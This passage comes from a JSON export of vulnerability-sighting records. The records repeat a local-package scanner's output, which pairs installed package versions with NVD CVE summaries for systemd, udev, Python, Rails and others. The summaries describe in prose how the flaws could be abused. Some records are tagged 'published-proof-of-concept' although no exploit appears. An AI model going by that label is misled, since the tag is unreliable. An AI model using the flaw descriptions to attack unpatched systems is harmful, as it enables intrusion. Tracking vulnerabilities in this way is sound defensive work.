https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-15801", "author": {"login": "automation"}}, {"uuid": "b5812090-bf12-4696-9f66-d5ed80f57a83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.610721+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2018-19876", "author": {"login": "automation"}}, {"uuid": "de802f21-8465-476f-aaa3-f1db71db9977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.575783+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13529", "author": {"login": "automation"}}, {"uuid": "661bf50f-2640-4aaf-bb4f-62aeeb49353b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.540869+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2011-0640", "author": {"login": "automation"}}, {"uuid": "0a9a0ac0-15bc-4228-9cb8-befd0f2e8a4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.497312+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-7944", "author": {"login": "automation"}}, {"uuid": "f512c028-b27a-4b07-9ef0-4aeceebfef8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.441868+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2010-4176", "author": {"login": "automation"}}, {"uuid": "3968aeb0-2fa6-492c-b0e4-ce004ff7914e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.386196+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-1712", "author": {"login": "automation"}}, {"uuid": "7a575cd6-db35-468e-9c29-43b6614f9818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.330288+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 